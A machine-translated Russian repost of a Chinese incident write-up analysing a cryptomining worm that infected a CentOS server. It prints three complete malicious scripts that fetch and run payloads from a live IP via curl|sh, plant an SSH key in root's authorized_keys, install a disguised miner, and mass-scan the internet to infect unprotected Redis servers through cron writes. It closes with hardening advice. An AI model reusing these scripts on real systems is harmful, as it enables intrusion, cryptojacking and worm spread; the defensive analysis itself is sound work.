Нажмите на «Китайское сообщество K8S» выше и выберите «Верхняя официальная учетная запись».
Критический момент, первая доставка!
0x00 фон
Как только я прибыл в офис в понедельник утром, я услышал, как мой коллега сказал, что сервер не может быть залогинен. Я не принял это близко к сердцу и продолжил завтракать, чтобы посмотреть, не упала ли цена валюты снова. Через некоторое время прибыли коллеги по эксплуатации и обслуживанию, задыхаясь, и сказали: "У нас есть сервер, который был заморожен Alibaba Cloud. Причина: злонамеренный аутсорсинг". Я положил голубцы с квашеной капустой, подключился к ssh на некоторое время, но был отклонен, а порт 22 по умолчанию был заблокирован. Я попросил коллег по эксплуатации и техподдержке сменить порт и тут же подключился к нему.Кстати, я посмотрел на имя входа: root, и пароль Xiaobai с менее чем 8 цифрами.
0x01 Найти подсказки
Серверная система - CentOS 6.X, и развернуты nginx, tomcat, redis и другие приложения.Сначала БД полностью бэкапится локально, а потом проверяется команда top.Есть еще два 99% процесса с одинаковым именем работает, называется gpg-agentd.
Я гуглил gpg, и результат:
Агент gpg, предоставляемый GPG, обеспечивает поддержку протокола SSH, что может значительно упростить управление ключами.
Выглядит как очень серьезная программа, но если внимательно присмотреться к процессу на сервере, за которым следует буква d, то он хорошо замаскирован, напоминает различные вирусы, похожие на svchost.exe в Windows. Продолжать
ps eho command -p 23374
netstat -pan | grep 23374
скопировать код
Проверяем путь запуска процесса pid:23374 и сетевой статус, то есть заходим в директорию на рисунке 1, и находим бинарный исполняемый файл, оставленный хакером. Далее меня ждут 2 вопроса:
1. Как загружаются файлы? 2. Какова цель этого файла или что хочет сделать хакер?
Взгляните на историю, и записи были очищены, не оставив следов. Продолжайте отправлять больше сообщений,
Я увидел много программного обеспечения, установленного на сервере около 12:00 посреди ночи, и некоторые из них привлекли мое внимание, о чем будет подробно рассказано ниже. Глядя и гадая, если бы мы сделали что-то плохое, где бы мы, вероятно, подняли шум и начали автоматически? Старт по времени? Да, запланированные задачи.
crontab -e
скопировать код
Конечно же, зацепка была найдена.
0x02 Мотивация
Вышеуказанная запланированная задача означает загрузку скрипта на сервер каждые 15 минут и его выполнение. Давайте скачаем скрипт и посмотрим.
curl -fsSL 159.89.190.243/ash.php > ash.sh
скопировать код
Содержание скрипта следующее:
uname -a
id
hostname
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
crontab -r 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx
redisX' > /root/.ssh/authorized_keys
echo '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root
echo '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root
yum install -y bash 2>/dev/null
apt install -y bash 2>/dev/null
apt-get install -y bash 2>/dev/null
bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null
скопировать код
Примерно проанализируем основное назначение этого скрипта:
Во-первых, отключить SELinux, снять ограничения доступа к ресурсам оболочки, а затем сгенерировать открытый ключ ssh в файле /root/.ssh/authorized_keys, чтобы каждый раз, когда хакеры входят на этот сервер, они могли войти в систему без пароль, и выполнять скрипты будет намного удобнее.О статье о ключах ssh можете сослаться на эту статью о принципе и применении SSH. Затем установите bash и, наконец, продолжайте загружать второй скрипт bsh.php и выполнять его.
Продолжайте скачивать и анализировать bsh.pbp, содержание следующее:
sleep $( seq 3 7 | sort -R | head -n1 )
cd /tmp || cd /var/tmp
sleep 1
mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...
sleep 1
if [ -f .watch ]; then
rm -rf .watch
exit 0
fi
sleep 1
echo 1 > .watch
sleep 1
ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null
sleep 1
if ! [ -x /usr/bin/gpg-agentd ]; then
curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db
echo '/usr/bin/gpg-agentd' > /etc/rc.local
echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local
echo 'exit 0' >> /etc/rc.local
fi
sleep 1
chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd
sleep 1
if ! [ -x "$(command -v masscan)" ]; then
rm -rf /var/lib/apt/lists/*
rm -rf x1.tar.gz
if [ -x "$(command -v apt-get)" ]; then
export DEBIAN_FRONTEND=noninteractive
apt-get update -y
apt-get install -y debconf-doc
apt-get install -y build-essential
apt-get install -y libpcap0.8-dev libpcap0.8
apt-get install -y libpcap*
apt-get install -y make gcc git
apt-get install -y redis-server
apt-get install -y redis-tools
apt-get install -y redis
apt-get install -y iptables
apt-get install -y wget curl
fi
if [ -x "$(command -v yum)" ]; then
yum update -y
yum install -y epel-release
yum update -y
yum install -y git iptables make gcc redis libpcap libpcap-devel
yum install -y wget curl
fi
sleep 1
curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
sleep 1
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
fi
sleep 3 && rm -rf .watch
bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null
скопировать код
Код этого скрипта относительно длинный, но есть 4 основные функции:
1. Загрузите удаленный код в локальный, добавьте разрешение на выполнение, chmod u+x. 2. Измените rc.local, чтобы локальный код автоматически выполнялся при его включении. 3. Загрузите код сканера с открытым исходным кодом на github и установите соответствующее зависимое программное обеспечение, которое я видел в сообщениях выше. 4. Загрузите третий скрипт и выполните его.
Я пошел на github, чтобы посмотреть на этот открытый исходный код, и это был взрыв.
MASSCAN: Mass IP port scannerThis is the fastest Internet port scanner. It can scan the entire Internet in under 6 minutes, > transmitting 10 million packets per second.It produces results similar to nmap, the most famous port scanner. Internally, it operates more > like scanrand, unicornscan, and ZMap, using asynchronous transmission. The major difference is > that it's faster than these other scanners. In addition, it's more flexible, allowing arbitrary > address ranges and port ranges.NOTE: masscan uses a custom TCP/IP stack. Anything other than simple port scans will cause conflict with the local TCP/IP stack. This means you need to either use the -S option to use a separate IP address, or configure your operating system to firewall the ports that masscan uses.
10 миллионов пакетов в секунду (отправка 10 миллионов пакетов в секунду), что быстрее, чем nmap.Нетрудно понять, почему Alibaba Cloud заморозил сервер.Прочитав ридми, я не стал его подробно изучать и продолжил.Скачать третий сценарий.
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
sleep 1
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set backup1 "\n\n\n*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup2 "\n\n\n*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup3 "\n\n\n*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup4 "\n\n\n*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
sleep 1
masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .shard
sleep 1
masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .ranges
sleep 1
ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's/\/\([0-9]\{2\}\)/\/16/g' > .inet
sleep 1
masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2>/dev/null
скопировать код
Если первые два скрипта просто скачивают и исполняют бинарные файлы на сервере, то этот скрипт действительно показывает всю мощь вируса. Давайте проанализируем этот сценарий.
Про модификацию системного окружения в начале и говорить нечего, следующая операция записи файла немного знакома, если вы использовали redis, то должны догадаться, что это конфигурация redis. При записи этой конфигурации, естественно, используется уязвимость Redis для записи кэшированного содержимого в локальные файлы. В результате используется локальный закрытый ключ для входа на сервер, на котором записан открытый ключ. Вы можете войти без пароля, что — это начало нашей статьи. /root/.ssh/authorized_keys. После входа запускайте запланированные задачи и регулярно загружайте скрипты. Хорошо, файл конфигурации готов, начните использовать masscan для сканирования сервера redis по всей сети, ищите бройлеров, обратите внимание на это 6379 - это порт сервера redis по умолчанию, если ваш порт прослушивания redis - это публичный IP или 0.0 .0.0 , и защиты паролем нет, извините, вас обманули.
0x03 Сводка
Анализируя эти три скрипта по очереди, мы можем увидеть весь ужас этого вируса: сначала он получает разрешение на вход в систему, записывая открытый ключ ssh, затем скачивает и запускает удаленный бинарный файл и, наконец, реплицирует его через уязвимость redis, которая быстро распространяется по сети. , растет в геометрической прогрессии. Итак, вопрос в том, как этот сервер был завербован? После прочтения redis.conf адрес привязки 127.0.0.1, проблем нет. Из этого можно сделать вывод, что учетная запись root должна быть взломана методом грубой силы.Чтобы проверить свою идею, я взглянул на lastb и, конечно же, там много записей:
Остался последний вопрос, что именно делает программа gpg-agentd? Моей первой реакцией в то время были машины для майнинга, потому что цифровая валюта сейчас слишком популярна, увеличивая спрос на машины для распределенного майнинга, которые породили эту серую цепочку индустрии. Итак, я перетащил этот gpg-agentd в ida, использовал строку для поиска связанных слов, таких как биткойн, eth, мой, и, наконец, нашел это:
Открой http:// nicehash.com и посмотри, там все понятно.
0x04 Совет по безопасности
1. Сервер
1. Отключите ROOT2, сделайте имя пользователя и пароль как можно более сложными 3. Измените порт 22 по умолчанию ssh 4. Установите программное обеспечение DenyHosts для защиты от грубой силы 5. Отключите вход с паролем, войдите в систему с открытым ключом RSA
2. Редис
1. Отключите мониторинг общедоступных IP-адресов, включая 0.0.0.02, ограничьте доступ к redis3 с помощью паролей и запустите redis с учетной записью с более низким уровнем привилегий.
На этом этапе в основном анализируется весь процесс вторжения.Если вам интересен образец, вы также можете пойти на завиток самостоятельно или перейти на виртуальную машину для выполнения вышеуказанного скрипта. Ввиду моих ограниченных возможностей, в тексте неизбежно будут пропуски или ошибки, прошу меня поправить.
Автор этой статьи: Kansue Forum Hefe, пожалуйста, укажите, что перепечатка исходит от сообщества Kansue.
(Партнеры, которые заинтересованы в Kubernetes, могут присоединиться к нашей группе технического обмена WeChat, а способ присоединения к группе можно получить, ответив «Добавить группу» на фоне официальной учетной записи)
Рекомендуемое чтение:
IBM Micro Lecture Kubernetes Видеоруководство
Комикс: Minions Learn Kubernetes Service
Практика: требования и проектирование построения облачной платформы банковских контейнеров
Подробно объясните процесс эволюции и движущие причины системной архитектуры K8S.
K8S v1.10+Keepalived HA кластер внутристенного развертывания
Самый высокий в мире сертификат золотого содержания K8S, подробное руководство по экзамену CKA
Официальная рекомендация MySQL: K8S развертывает решение высокой доступности MySQL